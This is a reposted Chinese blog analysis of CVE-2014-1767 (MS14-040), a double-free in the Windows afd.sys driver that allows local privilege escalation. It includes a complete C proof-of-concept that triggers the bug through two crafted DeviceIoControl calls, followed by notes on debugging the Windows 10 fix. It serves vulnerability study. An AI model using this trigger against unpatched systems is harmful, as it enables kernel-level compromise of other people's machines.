ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CVE-2014-1767(MS14-040)漏洞分析

2022-03-25 19:32:52  阅读:194  来源: 互联网

标签:MS14 DWORD 漏洞 inbuf2 inbuf1 2014 sa CVE sizeof


0x00漏洞信息

分析系统:win7 sp1

漏洞文件:afd.sys

漏洞名称:Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

漏洞类型:本地权限提升

0x01漏洞分析

这是一个Double free 漏洞 把Double free 转换成 uaf  漏洞 简单点就是 释放重引用

漏洞位置在  前面是控制码  后面是对应的函数

0x1207F:afd!AfdTransmitFile

0x120C3:afd!AfdTransmitPackets

逐步分析这2个函数 漏洞原因  详细文章已经很多了 就不在分析了 可以看下面地址的应该是网上写的最详细的

https://www.cnblogs.com/flycat-2016/p/5450275.html

https://www.cnblogs.com/flycat-2016/p/5450328.html

这里看一下 win10修复措施 根据poc 调试一下看如何修复的 

调试的操作系统是 win10  64位 21h2

poc

#include<windows.h>
#include<stdio.h>
//#include <ws2def.h>
#pragma comment(lib,"WS2_32.lib")

int main()
{
    DWORD targetSize = 0x310;
    DWORD virtualAddress = 0x13371337;
    DWORD mdlSize = (0x4000 * (targetSize - 0x30) / 8) - 0xFFF0 - (virtualAddress & 0xFFF);
    static DWORD inbuf1[100];
    memset(inbuf1, 0, sizeof(inbuf1));
    inbuf1[6] = virtualAddress;
    inbuf1[7] = mdlSize;
    inbuf1[10] = 1;
    static DWORD inbuf2[100];
    memset(inbuf2, 0, sizeof(inbuf2));
    inbuf2[0] = 1;
    inbuf2[1] = 0x0AAAAAAA;
    WSADATA WSAData;
    SOCKET s;
    sockaddr_in sa;
    int ierr;
    WSAStartup(0x2, &WSAData);
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    memset(&sa, 0, sizeof(sa));
    sa.sin_port = htons(135);
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sa.sin_family = AF_INET;
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));
    static char outBuf[100];
    DWORD bytesRet;
    __debugbreak();
    DeviceIoControl((HANDLE)s, 0X1207F, (LPVOID)inbuf1, 0x40, outBuf, 0, &bytesRet, NULL);
    DeviceIoControl((HANDLE)s, 0X120C3, (LPVOID)inbuf2, 0x18, outBuf, 0, &bytesRet, NULL);
    return 0;
}

在AfdTransmitPackets和AfdTransmitFile 下断点看  判断是否是32位

 

 

 32位长度不能小于0x30 64位传入长度不能小于0x40  

 

 3环地址验证

 

接着创建tpinfo

 

 

后面就是调用报错 在释放后  关键点 count被清除

 

 

 

 接着就是AfdTransmitPackets 调试 长度限制

 

 让后就是 关键判断了  count已经被清除不会走释放代码

 

标签:MS14,DWORD,漏洞,inbuf2,inbuf1,2014,sa,CVE,sizeof
来源: https://www.cnblogs.com/feizianquan/p/15972648.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有